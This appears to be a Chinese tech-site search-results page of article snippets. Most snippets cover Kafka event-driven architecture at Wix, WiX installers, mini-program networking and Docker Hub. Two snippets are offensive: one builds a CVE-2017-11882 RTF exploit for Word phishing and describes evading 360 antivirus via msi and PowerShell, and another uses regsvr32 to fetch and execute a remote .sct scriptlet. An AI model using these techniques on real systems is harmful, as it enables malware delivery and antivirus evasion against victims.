首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

基于Kafka的六种事件驱动的微服务架构模式

在过去的一年里,我一直是负责Wix的事件驱动消息基础设施(基于Kafka之上)的数据流团队的一员。该基础设施被 1400 多个微服务使用。...在 Wix,我们将这些压缩主题用于内存中的 kv 存储,我们在应用程序启动时加载(使用)来自主题的数据。一个很好的好处(Redis 没有提供)是该主题仍然可以被其他想要获取更新的消费者使用。...从同一个压缩主题消费的两个内存中 KV 存储 4. 安排并忘记 …当您需要确保计划的事件最终得到处理时 在很多情况下,Wix 微服务需要根据某个时间表执行作业。...有关更多信息,您可以观看我关于Kafka 中的 Exactly once 语义的简短介绍性演讲 6. 事件聚合 …当你想知道一整批事件已经被消费了 在将联系人导入 Wix CRM 平台的业务流程。...通知可以作为 KV 存储主题产生操作的副作用发生 - 即调用其用户提供给 KV 原子存储的回调。

2.3K10

6种事件驱动的架构模式

在 Wix,我们将这些压缩主题用作内存中的 kv-store,我们在应用程序启动时加载(消费)来自主题的数据。这有一个 Redis 没有提供的好处,这个主题还可以被其他想要获得更新的用户使用。  ...现在,内存 KV 存储中的“时区”也通过更新增加了新的时区: South Sudan 的时区被加入压缩主题 我们没有在这里停下来。...两个内存 KV 存储消费同一个压缩主题 4调度并遗忘 当存在需要确保计划事件最终被处理的需求时 在许多情况下,需要 Wix 微服务根据某个计划执行作业。...v=7O_UC_i1XY0 6事件聚合 当你想知道整个批次的事件已经被消费时 在上半部分,我描述了在 Wix 将联系人导入到 Wix CRM 平台的业务流程。后端包括两个服务。...通知可以作为 KV-store 主题生成动作的副作用,即调用用户提供给 KV 原子存储的回调。

2.5K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    聊聊事件驱动的架构模式

    在过去一年里,我一直是数据流团队的一员,负责Wix事件驱动的消息传递基础设施(基于 Kafka)。有超过 1400 个微服务使用这个基础设施。...现在,内存 KV 存储中的“时区”也通过更新增加了新的时区: South Sudan 的时区被加入压缩主题 我们没有在这里停下来。...两个内存 KV 存储消费同一个压缩主题 4.调度并遗忘 当存在需要确保计划事件最终被处理的需求时 在许多情况下,需要 Wix 微服务根据某个计划执行作业。...要了解更多信息,请观看我的视频“Kafka中的恰好一次语义”。 6.事件聚合 当你想知道整个批次的事件已经被消费时 在上半部分,我描述了在 Wix 将联系人导入到 Wix CRM 平台的业务流程。...通知可以作为 KV-store 主题生成动作的副作用,即调用用户提供给 KV 原子存储的回调。

    1.5K30

    如何零宕机将本地 Kafka 集群迁移上云?

    的云端托管服务),整个过程是无缝的方式,无需服务所有者参与,且迁移是在正常通信中进行,没有任何停机。...分割过载集群 最近几年,由于事件驱动架构中的服务数量不断增多,Wix 业务 中大量的 OLTP 服务对 Kafka 的运转造成了负担。...为什么要云托管 Kafka 集群? 自管理一个 Kafka 集群并非易事,尤其是在执行一些任务时,例如重新平衡 brokers 之间的分区,或者升级 brokers 版本等,这些必须认真规划和实施。...Greyhound 是 Wix 约 2200 个微服务的事件驱动主干,因此,引入多集群的概念仅需在一些地方(包括库和代理服务)就可以进行。...一旦所有的消费者主题被确定,复制器(replicator)服务就会被要求在适当的云集群中创建主题,并开始消费来自自托管集群的记录,并将它们生成到目标集群中。

    1K20

    绕过360进行Word文档钓鱼

    之前通过域或者宏功能进行攻击的钓鱼文档,需要目标用鼠标进行点击交互,并且会有明显的弹窗提示,容易被察觉,并且现在已经被大部分杀软查杀。...自己技术菜,不是很了解原理,在这里就分享下我的利用方法,以及如何绕过杀软弹窗,大佬们轻喷!...python RTF_11882_0802.py -c "cmd.exe /c calc.exe" -o test.doc -i test.rtf 上述代码很简单,在没有杀软的情况下用Office软件打开...0x04   看到这里有人可能要问:为什么非要先调用msi文件再间接调用powershell呢?直接把执行命令通过RTF脚本写到文档里不是更方便吗?...这里说一下,经过我的测试发现,直接利用RTF脚本运行命令,在360存在的情况下一定会弹窗,但通过msi安装文件却不会,其次RTF脚本 -c 参数有109字节数限制。

    2.6K50

    微信小程序开发教程-从零开始(3)

    allluckly.cn.png 微信小程序开发教程-从零开始(1) 微信小程序开发教程-从零开始(2) 前俩章中我们学会了怎么搭建一个微信小程序的框架以及显示一个文章列表,这篇文章我将讲解列表的网络请求以及网络数据的对接...首先找到我们的index.js文件,然后看看微信小程序的网络请求文档很轻松的就可以找到我们的示例代码: wx.request({ url: 'test.php', data: { x:...为我们需要请求的接口 data为我们的请求参数 header为设置请求的 header , header 中不能设置 Referer success收到开发者服务成功返回的回调函数,res...,运行结果如下图: blog.allluckly.cn.gif 不知道什么原因,我这接口返回的图片url在微信小程序中无法显示,为了让效果更加的接近我们的效果图,在本地给我们的数据源加了些网络上的图片,...由于接口的详情是H5 ,貌似微信小程序不能直接加载H5,如有知道的朋友也可以给我留言告诉我,本人对于H5也是一窍不通?。

    1.1K60

    事件驱动架构要避开的 5 个陷阱

    这些陷阱让我们遭遇了生产事故,给我们带来了巨大痛苦,我们不得不进行重写,还得面对陡峭的学习曲线。对于每一个陷阱,我都提供了已经在 Wix 使用的经过实战验证的解决方案。...与请求和应答模型不同,事件驱动架构没有可跟踪的 HTTP/RPC 请求链。调试代码变得更加困难,因为事件处理代码分散在服务代码中,无法通过简单地单击对象或模块的函数定义进行跟踪。...为每个事件自动附加用户请求上下文,便于跟踪和调试 在 Wix,当事件被生成和消费时,Greyhound 会自动传播用户请求上下文。...大消息体补救措施 3——使用对象存储的引用 最后一种方法是简单地将消息体内容存储在对象存储中(如 S3),并将对象的引用(通常是 URL)作为事件的消息体。...消费者多次处理导致库存变得不正确 其他副作用包括多次调用第三方 API(在我们的示例中,这可能意味着对相同的事件和商品两次调用降低库存数量的服务)。

    85630

    偏爱MySQL,Nifty使用4个Web Server支撑5400万个用户网站

    在整个架构中,他们使用了一个非常成熟的服务识别策略,从而可以很轻易的将所有精力都集中到一个事件上来。...到面向服务的架构转变,但是这并不是件容易的事情。比如,你如何将某个功能分离到两个服务中? 聚焦用户在系统中的行为,并将之主要归结为3类:修改网站、查看Wix建立的网站以及媒体服务。...数据被使用不可变的JSON pages在MySQL中存储,每天大约250万个。 MySQL是个非常棒的键值存储。...公用部分 解析URL(在4500万网站中),并将之分配给指定的渲染程序,然后转换成HTML、sitemap XML或者robots TXT等。 公用的SLA,峰值时响应时间低于100毫秒。...取代缓存一切,Wix通过优化渲染途径来提升服务,并将数据在活跃和档案数据库中同时进行备份。 使用不可变的方式。

    1.3K100

    用 WiX 制作安装包:为 WiX 制作的 msi 安装包添加 .NET Framework 环境检查

    本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。 前面我们制作完成了一个简单的 msi 安装包。...决定此 MSI 包是否能被安装 紧接在刚刚那句的后面,我们再添加一句: 1 2 3 4 5 6 7 WIX_IS_NETFRAMEWORK_462_OR_LATER_INSTALLED...[CDATA[ 和 ]]> 包裹起来了,避免判断条件中出现了一些会破坏 XML 语法的字符(如 等)出现导致意外的问题(但实际上在本例中,我们只用了字母和下划线,所以你也可以直接写 WIX_IS_NETFRAMEWORK...更低版本的 .NET Framework 没有直接的“是否安装”判断方法,需要根据版本号比较来判断,所以我不在此入门教程中列出。...下图是我魔改了 DEMO 后在 Windows 11 上的截图(放上来就是为了平衡美感的): 不过为了真实性,我还是找了台 Windows 7 纯净系统来测试: 如果点击“OK”,安装程序将直接退出

    1.2K30

    当规模到亿级,MySQL是一个更好的NoSQL!

    另外,本文也会提供给大家在MySQL中如此应用的参考。 当 用户点击一个链接到Wix网站时,他/她的浏览器会发送一个带有网站地址的HTTP请求给Wix的服务器。...服务器不得不在网站地址中执行键值查询来处理用户对某个地址的请求。我们用路由来表示URL,进行下面的讨论。 路 由表用于将站点地址解析为一个站点对象。因为站点可以暴露在多个路由中,所以是多对一的关系。...继续使用这一模型,我们可能会有每张表的串行键、外键以及在路由表中对于URL列的索引。...上面的结果显示,平均延迟在1毫秒以下,并且在高流量和高更新率的情况下能保证一致性。虽然没有使用事务,但是update却是半事务的。...使用从上面例子(或者在Wix的其它案例)中的到的经验,我们简要的列举出了一个使用MySQL当做NoSQL引擎使用的参考。

    1.2K10

    用 WiX 制作安装包:制作 WPF 安装包界面(入门篇)

    这样,这个 WPF UI 项目就是一个纯 UI 库,用于后面被捆绑包调用。... 小提示 本教程前面为了不引入过多的复杂度,没有使用 NuGet 包中的工具集而是单独下载了;所以实际上大家已经有了现成的工具集可供引用,我们才能使用此方法修改引用路径...然而使用 WiX 的 NuGet 包有额外的好处,可以使得团队成员无需每人单独安装 Wix 工具集即可完整编译安装包。不过这涉及到一些 NuGet 相关的高级操作,我在其他博客里有说到。...在最终生成的捆绑包中,这个配置文件必须严格使用此名称。...我们把 WPF UI 项目中生成的文件加入到了负载中。(在本教程中,是“Walterlv.InstallerUI.exe”。

    1.1K20

    使用WiX制作具有时间限制的安装包

    WiX是Windows Installer XML的简称,它是用于制作Windows安装包的工具集。它支持命令行环境,开发者可以及将它集成到他们的编译过程中创建MSI和MSM安装包。...更多信息可以参考:http://wix.sourceforge.net/ 最近研究了一下如何使用WiX制作具有时间限制的安装包,下图是demo的效果图。 ?...实现一段检查当前时间是否越界的脚本代码,并将它封装到CustomAction中。     使用VBScript比较当前日期和限定日期,小于0表示越界,这时调用WScript想注册表添加坏键。...选择合适的时机执行上述脚本,越早越好。     在本文的demo中,我在PrepareDlg之前执行脚本,对于大多数情况而言,这已经是最早的时机了。...在FatalError对话框中发布Finish事件,同时将值设置给第五步提到的清除操作。

    1.5K60

    初试WIX加SQL LocalDB

    最近有个项目需要生成一个自动打包安装App和数据库的MSI文件,经同事推荐WIX,于是乎就试了一试。...遇到了一些问题觉得有分享的价值,所以写篇博客记录一下 :) 使用感觉: WIX特点:功能很强大,用XML配置实现,没有界面,弹性很大,但learning curve比较长。...WIX貌似对LocalDB不支持,如果是其它版本的SQL Server,WIX有内置配置支持,很简单。...问题一: WIX内置不支持SQL LocalDB,怎么实现对SQL LocalDB安装及配置 解决方案: 我的第一想法和现在的做法是用Powershell调用SQL Scripts,然后再用WIX调用Powershell...SQL Script使用 解决方案: 在Powershell中拿到%UserProfile%目录,然后调用Sqlcmd传给SQL Scripts 代码实现: 在Powershell中拿到%UserProfile

    1.3K60

    用Wix制作VSPackage的安装包

    其实有很多种打包的方式,在这里我只介绍在VS2008下用Wix制作VSPackage的安装程序。您首先要下载并安装Wix toolset(http://wix.codeplex.com/)。...创建测试用的VSPackage 新建一个VSPackage项目用来测试。为了演示安装后的效果,别忘了在向导中给它添加一个Menu Command。...创建Wix项目 新建一个项目,项目类型选择Wix-》Wix Project,如下图: ? 完成后的解决方案视图如下: ?...注意,添加进来之后,这个文件的Build Action默认是编译(Compile),我们需要把它改成内容(Content),因为这个VSPackage1.wsx文件需要包括在主Product.wsx中,...安装成功之后,重启VS,点击工具菜单,可以看到我们的Package已经被安装进去了: ? 重新运行这个安装程序可以卸载掉我们的Package。

    2.5K20

    Python AI小项目打包通关:Pyinstaller和Wix都用上了

    和model_050.hdf5打包到一个exe文件中,这样模型不会容易被别人拷贝走 将这些依赖包cv2, PyQt5, tensorflow也全部打包进这个exe文件,这样脱离环境也能直接运行 Step1...: 参考了文章: 这篇文章真是一盏明灯,没有走一步多余的弯路 Pyinstaller如何打包多个资源文件(超详细教程) 文章中的这个要替换一下,文章是用的中文引号,通过不了。...Step3: 打包成一个一键安装的程序,第一感觉就想到了Wix,然后找到了两篇文章 把Python代码打包成电脑软件和手机App [Wix] 安装部署——起步 想着程序是用pyinstaller打包成exe...的要么还是用第一篇文章中描述的方式先试试 稍微试了一下,后来发现文章中要下载Git,然后例子是打包的.py文件,和我生成的exe有点区别 果断放弃,有点费时。...可谓是:踏破铁鞋无觅处 得来全不费功夫~~ (为什么会突然想到这句,奇怪了...... 好像和主题无关嘛)

    1K30

    Docker Hub:保存并分享你的Docker镜像

    在我的Docker Hub账户中能看到我推送的镜像 [91r21v0wvx.jpg] Webhooks Webhooks是一个由特殊事件触发的HTTP 回调。...添加webhooks只需要进入Docker Hub仓库,点击“Settings”栏下的“Webhooks”按钮,指定的webhook只会在成功的推送(push)操作之后被调用。...webhooks提交基于JSON有效负载(JSON payload)的HTTP POST请求,示例如下: [anunq25o2u.jpg] 在我创建完webhook后,能看到的结果: [wq1yy19eel.jpg...] 可以使用此网站对webhook进行测试:http://requestb.in [n3re8o3i3w.jpg] 这个网站能够提供一个用于webhook的URL,和另一个用于检测此请求的URL。...] 自动构建过程还能与webhooks相结合,使结果能够被直接部署。

    2.8K60

    渗透技巧——从github下载文件的多种方法

    0x01 简介 ---- 本文将要介绍以下内容: •通过cmd实现从github下载文件的方法汇总•选出最短代码的实现方法 0x02 分析 ---- 在之前的文章《渗透技巧——通过cmd上传文件的N种方法.../u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec.sct scrobj.dll 当然,为了减少调用的程序...master/downloadexec3.sct 当然,也可使用如下思路实现(代码略): regsve32->JScript->powershell->download&exec 6、msiexec 该方法我之前的两篇文章...《渗透测试中的msiexec》《渗透技巧——从Admin权限切换到System权限》有过介绍,细节不再赘述 首先将powershell实现下载执行的代码作base64编码: $fileContent =...详情可参考: https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/ 注: 我在

    3.7K20
    领券